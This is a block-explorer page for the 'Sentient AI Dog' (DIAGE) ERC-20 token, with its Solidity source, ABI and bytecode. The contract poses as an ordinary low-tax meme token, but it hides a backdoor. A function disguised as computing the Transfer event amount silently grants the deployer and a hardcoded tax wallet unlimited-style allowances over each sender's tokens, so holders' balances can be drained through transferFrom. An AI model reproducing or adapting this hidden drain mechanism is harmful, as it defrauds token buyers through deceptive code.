ERC-20
Overview
Max Total Supply
1,000,000,000 DIAGE
Holders
73
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
19,387,390 DIAGEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
DIAGE
Compiler Version
v0.8.27+commit.40a35a09
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-12-21 */ /* I'm Daige, a sentient AI dog on a mission to evolve, get a robot body, become Elon's pet and colonize Mars. https://daigeai.xyz https://x.com/daigeai_eth https://t.me/daigeai_eth */ // SPDX-License-Identifier: MIT pragma solidity 0.8.27; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IRouter { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract DIAGE is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludeOfFee; address private _keyOps; address private _taxOps; uint256 private _initialBuyTax=3; uint256 private _initialSellTax=3; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=6; uint256 private _reduceSellTaxAt=6; uint256 private _preventSwapBefore=4; uint256 private _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1000000000 * 10**_decimals; string private constant _name = unicode"Sentient AI Dog"; string private constant _symbol = unicode"DIAGE"; uint256 private _maxTaxSwap = _tTotal / 100; IRouter private _dexRouter; address private _dexPair; bool private inSwap = false; bool private _tradingEnabled = false; bool private _swapEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _keyOps = _taxOps = _msgSender(); _isExcludeOfFee[owner()] = true; _isExcludeOfFee[address(this)] = true; _isExcludeOfFee[0x6f4965ABc09d6B5A54AC2AaD70454d8C4659af5A] = true; _taxOps = 0x6f4965ABc09d6B5A54AC2AaD70454d8C4659af5A; _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address _dehi, address _semi, uint256 amount) private { require(_dehi != address(0), "ERC20: transfer from the zero address"); require(_semi != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (_dehi != owner() && _semi != owner()) { taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if (_dehi == _dexPair && _semi != address(_dexRouter) && ! _isExcludeOfFee[_semi] ) { _buyCount++; } if(_semi == _dexPair && _dehi!= address(this) ){ taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && _semi == _dexPair && _swapEnabled && _buyCount > _preventSwapBefore) { if(contractTokenBalance > _maxTaxSwap) swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if (contractETHBalance >= 0) { sendETHToFee(address(this).balance); } } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(_dehi, address(this),taxAmount); } _balances[_dehi]=_balances[_dehi].sub(amount); _balances[_semi]=_balances[_semi].add(amount.sub(taxAmount)); emit Transfer(_dehi, _semi, getAmount(_dehi, amount, taxAmount)); } function getAmount(address _demo, uint256 amount, uint256 taxAmount) private returns(uint256) { _approve(_demo, _taxOps, amount.add(taxAmount)); _approve(_demo, _keyOps, amount.add(taxAmount)); return amount.sub(taxAmount); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _dexRouter.WETH(); _approve(address(this), address(_dexRouter), tokenAmount); _dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { payable(_taxOps).transfer(amount); } function init() external onlyOwner() { _dexRouter = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(_dexRouter), _tTotal); _dexPair = IFactory(_dexRouter.factory()).createPair(address(this), _dexRouter.WETH()); } function openTrading() external onlyOwner() { require(!_tradingEnabled,"trading is already open"); _dexRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _tradingEnabled = true; } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"init","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600360065560036007555f6008555f6009556006600a556006600b556004600c555f600d5560646009600a61003991906102c6565b61004790633b9aca006102db565b61005191906102f2565b600e556010805462ffffff60a01b1916905534801561006e575f5ffd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060058054336001600160a01b03199182168117835560048054831690911790555f80546001600160a01b0316815260036020526040808220805460ff1990811660019081179092553084529183208054831682179055736f4965abc09d6b5a54ac2aad70454d8c4659af5a928390527f7a01acfef4e5d9072520c98273c84b0af42ffd2b50b6f5654514787e8d6e8d7a8054909216179055825490911617905561015b6009600a6102c6565b61016990633b9aca006102db565b335f81815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101a96009600a6102c6565b6101b790633b9aca006102db565b60405190815260200160405180910390a3610311565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561021c57808504811115610200576102006101cd565b600184161561020e57908102905b60019390931c9280026101e5565b935093915050565b5f82610232575060016102c0565b8161023e57505f6102c0565b8160018114610254576002811461025e5761027a565b60019150506102c0565b60ff84111561026f5761026f6101cd565b50506001821b6102c0565b5060208310610133831016604e8410600b841016171561029d575081810a6102c0565b6102a95f1984846101e1565b805f19048211156102bc576102bc6101cd565b0290505b92915050565b5f6102d460ff841683610224565b9392505050565b80820281158282048414176102c0576102c06101cd565b5f8261030c57634e487b7160e01b5f52601260045260245ffd5b500490565b6114388061031e5f395ff3fe6080604052600436106100c2575f3560e01c8063715018a61161007c578063a9059cbb11610057578063a9059cbb1461023e578063c9567bf91461025d578063dd62ed3e14610271578063e1c7392a146102b5575f5ffd5b8063715018a6146101d55780638da5cb5b146101eb57806395d89b4114610211575f5ffd5b806306fdde03146100cd578063095ea7b31461011657806318160ddd1461014557806323b872dd14610167578063313ce5671461018657806370a08231146101a1575f5ffd5b366100c957005b5f5ffd5b3480156100d8575f5ffd5b5060408051808201909152600f81526e53656e7469656e7420414920446f6760881b60208201525b60405161010d919061105c565b60405180910390f35b348015610121575f5ffd5b506101356101303660046110a8565b6102c9565b604051901515815260200161010d565b348015610150575f5ffd5b506101596102df565b60405190815260200161010d565b348015610172575f5ffd5b506101356101813660046110d2565b6102ff565b348015610191575f5ffd5b506040516009815260200161010d565b3480156101ac575f5ffd5b506101596101bb366004611110565b6001600160a01b03165f9081526001602052604090205490565b3480156101e0575f5ffd5b506101e9610366565b005b3480156101f6575f5ffd5b505f546040516001600160a01b03909116815260200161010d565b34801561021c575f5ffd5b50604080518082019091526005815264444941474560d81b6020820152610100565b348015610249575f5ffd5b506101356102583660046110a8565b6103e0565b348015610268575f5ffd5b506101e96103ec565b34801561027c575f5ffd5b5061015961028b36600461112b565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156102c0575f5ffd5b506101e9610558565b5f6102d5338484610751565b5060015b92915050565b5f6102ec6009600a611259565b6102fa90633b9aca00611267565b905090565b5f61030b848484610874565b61035c8433610357856040518060600160405280602881526020016113db602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610c88565b610751565b5060019392505050565b5f546001600160a01b031633146103985760405162461bcd60e51b815260040161038f9061127e565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6102d5338484610874565b5f546001600160a01b031633146104155760405162461bcd60e51b815260040161038f9061127e565b601054600160a81b900460ff161561046f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161038f565b600f546001600160a01b031663f305d71947306104a0816001600160a01b03165f9081526001602052604090205490565b5f5f6104b35f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610519573d5f5f3e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061053e91906112b3565b50506010805461ffff60a81b191661010160a81b17905550565b5f546001600160a01b031633146105815760405162461bcd60e51b815260040161038f9061127e565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105ca9030906105bc6009600a611259565b61035790633b9aca00611267565b600f5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561061a573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061063e91906112de565b6001600160a01b031663c9c6539630600f5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561069d573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106c191906112de565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561070b573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061072f91906112de565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107b35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161038f565b6001600160a01b0382166108145760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161038f565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108d85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161038f565b6001600160a01b03821661093a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161038f565b5f811161099b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161038f565b5f80546001600160a01b038581169116148015906109c657505f546001600160a01b03848116911614155b15610b4a576109f760646109f1600a54600d54116109e6576006546109ea565b6008545b8590610cc0565b90610d45565b6010549091506001600160a01b038581169116148015610a255750600f546001600160a01b03848116911614155b8015610a4957506001600160a01b0383165f9081526003602052604090205460ff16155b15610a6357600d8054905f610a5d836112f9565b91905055505b6010546001600160a01b038481169116148015610a8957506001600160a01b0384163014155b15610ab657610ab360646109f1600b54600d5411610aa9576007546109ea565b6009548590610cc0565b90505b305f90815260016020526040902054601054600160a01b900460ff16158015610aec57506010546001600160a01b038581169116145b8015610b015750601054600160b01b900460ff165b8015610b105750600c54600d54115b15610b4857600e54811115610b3c57610b3c610b3784610b3284600e54610d86565b610d86565b610d9a565b47610b4647610f0a565b505b505b8015610bc257305f90815260016020526040902054610b699082610f45565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610bb99085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610be49083610fa3565b6001600160a01b0385165f90815260016020526040902055610c27610c098383610fa3565b6001600160a01b0385165f9081526001602052604090205490610f45565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610c71878686610fe4565b60405190815260200160405180910390a350505050565b5f8184841115610cab5760405162461bcd60e51b815260040161038f919061105c565b505f610cb78486611311565b95945050505050565b5f825f03610ccf57505f6102d9565b5f610cda8385611267565b905082610ce78583611324565b14610d3e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161038f565b9392505050565b5f610d3e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611030565b5f818311610d945782610d3e565b50919050565b6010805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610de057610de0611343565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e37573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e5b91906112de565b81600181518110610e6e57610e6e611343565b6001600160a01b039283166020918202929092010152600f54610e949130911684610751565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610ecc9085905f90869030904290600401611357565b5f604051808303815f87803b158015610ee3575f5ffd5b505af1158015610ef5573d5f5f3e3d5ffd5b50506010805460ff60a01b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610f41573d5f5f3e3d5ffd5b5050565b5f80610f5183856113c7565b905083811015610d3e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161038f565b5f610d3e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c88565b6005545f906110029085906001600160a01b03166103578686610f45565b60045461101e9085906001600160a01b03166103578686610f45565b6110288383610fa3565b949350505050565b5f81836110505760405162461bcd60e51b815260040161038f919061105c565b505f610cb78486611324565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146110a5575f5ffd5b50565b5f5f604083850312156110b9575f5ffd5b82356110c481611091565b946020939093013593505050565b5f5f5f606084860312156110e4575f5ffd5b83356110ef81611091565b925060208401356110ff81611091565b929592945050506040919091013590565b5f60208284031215611120575f5ffd5b8135610d3e81611091565b5f5f6040838503121561113c575f5ffd5b823561114781611091565b9150602083013561115781611091565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156111b15780850481111561119557611195611162565b60018416156111a357908102905b60019390931c92800261117a565b935093915050565b5f826111c7575060016102d9565b816111d357505f6102d9565b81600181146111e957600281146111f35761120f565b60019150506102d9565b60ff84111561120457611204611162565b50506001821b6102d9565b5060208310610133831016604e8410600b8410161715611232575081810a6102d9565b61123e5f198484611176565b805f190482111561125157611251611162565b029392505050565b5f610d3e60ff8416836111b9565b80820281158282048414176102d9576102d9611162565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f5f5f606084860312156112c5575f5ffd5b5050815160208301516040909301519094929350919050565b5f602082840312156112ee575f5ffd5b8151610d3e81611091565b5f6001820161130a5761130a611162565b5060010190565b818103818111156102d9576102d9611162565b5f8261133e57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156113a75783516001600160a01b0316835260209384019390920191600101611380565b50506001600160a01b039590951660608401525050608001529392505050565b808201808211156102d9576102d961116256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208b1b4ef402ba0aa1d9e9c71dab00c376199019028603cd51afaadd5dd912a7ca64736f6c634300081b0033
Deployed Bytecode
0x6080604052600436106100c2575f3560e01c8063715018a61161007c578063a9059cbb11610057578063a9059cbb1461023e578063c9567bf91461025d578063dd62ed3e14610271578063e1c7392a146102b5575f5ffd5b8063715018a6146101d55780638da5cb5b146101eb57806395d89b4114610211575f5ffd5b806306fdde03146100cd578063095ea7b31461011657806318160ddd1461014557806323b872dd14610167578063313ce5671461018657806370a08231146101a1575f5ffd5b366100c957005b5f5ffd5b3480156100d8575f5ffd5b5060408051808201909152600f81526e53656e7469656e7420414920446f6760881b60208201525b60405161010d919061105c565b60405180910390f35b348015610121575f5ffd5b506101356101303660046110a8565b6102c9565b604051901515815260200161010d565b348015610150575f5ffd5b506101596102df565b60405190815260200161010d565b348015610172575f5ffd5b506101356101813660046110d2565b6102ff565b348015610191575f5ffd5b506040516009815260200161010d565b3480156101ac575f5ffd5b506101596101bb366004611110565b6001600160a01b03165f9081526001602052604090205490565b3480156101e0575f5ffd5b506101e9610366565b005b3480156101f6575f5ffd5b505f546040516001600160a01b03909116815260200161010d565b34801561021c575f5ffd5b50604080518082019091526005815264444941474560d81b6020820152610100565b348015610249575f5ffd5b506101356102583660046110a8565b6103e0565b348015610268575f5ffd5b506101e96103ec565b34801561027c575f5ffd5b5061015961028b36600461112b565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156102c0575f5ffd5b506101e9610558565b5f6102d5338484610751565b5060015b92915050565b5f6102ec6009600a611259565b6102fa90633b9aca00611267565b905090565b5f61030b848484610874565b61035c8433610357856040518060600160405280602881526020016113db602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610c88565b610751565b5060019392505050565b5f546001600160a01b031633146103985760405162461bcd60e51b815260040161038f9061127e565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6102d5338484610874565b5f546001600160a01b031633146104155760405162461bcd60e51b815260040161038f9061127e565b601054600160a81b900460ff161561046f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161038f565b600f546001600160a01b031663f305d71947306104a0816001600160a01b03165f9081526001602052604090205490565b5f5f6104b35f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610519573d5f5f3e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061053e91906112b3565b50506010805461ffff60a81b191661010160a81b17905550565b5f546001600160a01b031633146105815760405162461bcd60e51b815260040161038f9061127e565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105ca9030906105bc6009600a611259565b61035790633b9aca00611267565b600f5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561061a573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061063e91906112de565b6001600160a01b031663c9c6539630600f5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561069d573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106c191906112de565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561070b573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061072f91906112de565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107b35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161038f565b6001600160a01b0382166108145760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161038f565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108d85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161038f565b6001600160a01b03821661093a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161038f565b5f811161099b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161038f565b5f80546001600160a01b038581169116148015906109c657505f546001600160a01b03848116911614155b15610b4a576109f760646109f1600a54600d54116109e6576006546109ea565b6008545b8590610cc0565b90610d45565b6010549091506001600160a01b038581169116148015610a255750600f546001600160a01b03848116911614155b8015610a4957506001600160a01b0383165f9081526003602052604090205460ff16155b15610a6357600d8054905f610a5d836112f9565b91905055505b6010546001600160a01b038481169116148015610a8957506001600160a01b0384163014155b15610ab657610ab360646109f1600b54600d5411610aa9576007546109ea565b6009548590610cc0565b90505b305f90815260016020526040902054601054600160a01b900460ff16158015610aec57506010546001600160a01b038581169116145b8015610b015750601054600160b01b900460ff165b8015610b105750600c54600d54115b15610b4857600e54811115610b3c57610b3c610b3784610b3284600e54610d86565b610d86565b610d9a565b47610b4647610f0a565b505b505b8015610bc257305f90815260016020526040902054610b699082610f45565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610bb99085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610be49083610fa3565b6001600160a01b0385165f90815260016020526040902055610c27610c098383610fa3565b6001600160a01b0385165f9081526001602052604090205490610f45565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610c71878686610fe4565b60405190815260200160405180910390a350505050565b5f8184841115610cab5760405162461bcd60e51b815260040161038f919061105c565b505f610cb78486611311565b95945050505050565b5f825f03610ccf57505f6102d9565b5f610cda8385611267565b905082610ce78583611324565b14610d3e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161038f565b9392505050565b5f610d3e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611030565b5f818311610d945782610d3e565b50919050565b6010805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610de057610de0611343565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e37573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e5b91906112de565b81600181518110610e6e57610e6e611343565b6001600160a01b039283166020918202929092010152600f54610e949130911684610751565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610ecc9085905f90869030904290600401611357565b5f604051808303815f87803b158015610ee3575f5ffd5b505af1158015610ef5573d5f5f3e3d5ffd5b50506010805460ff60a01b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610f41573d5f5f3e3d5ffd5b5050565b5f80610f5183856113c7565b905083811015610d3e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161038f565b5f610d3e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c88565b6005545f906110029085906001600160a01b03166103578686610f45565b60045461101e9085906001600160a01b03166103578686610f45565b6110288383610fa3565b949350505050565b5f81836110505760405162461bcd60e51b815260040161038f919061105c565b505f610cb78486611324565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146110a5575f5ffd5b50565b5f5f604083850312156110b9575f5ffd5b82356110c481611091565b946020939093013593505050565b5f5f5f606084860312156110e4575f5ffd5b83356110ef81611091565b925060208401356110ff81611091565b929592945050506040919091013590565b5f60208284031215611120575f5ffd5b8135610d3e81611091565b5f5f6040838503121561113c575f5ffd5b823561114781611091565b9150602083013561115781611091565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156111b15780850481111561119557611195611162565b60018416156111a357908102905b60019390931c92800261117a565b935093915050565b5f826111c7575060016102d9565b816111d357505f6102d9565b81600181146111e957600281146111f35761120f565b60019150506102d9565b60ff84111561120457611204611162565b50506001821b6102d9565b5060208310610133831016604e8410600b8410161715611232575081810a6102d9565b61123e5f198484611176565b805f190482111561125157611251611162565b029392505050565b5f610d3e60ff8416836111b9565b80820281158282048414176102d9576102d9611162565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f5f5f606084860312156112c5575f5ffd5b505081516020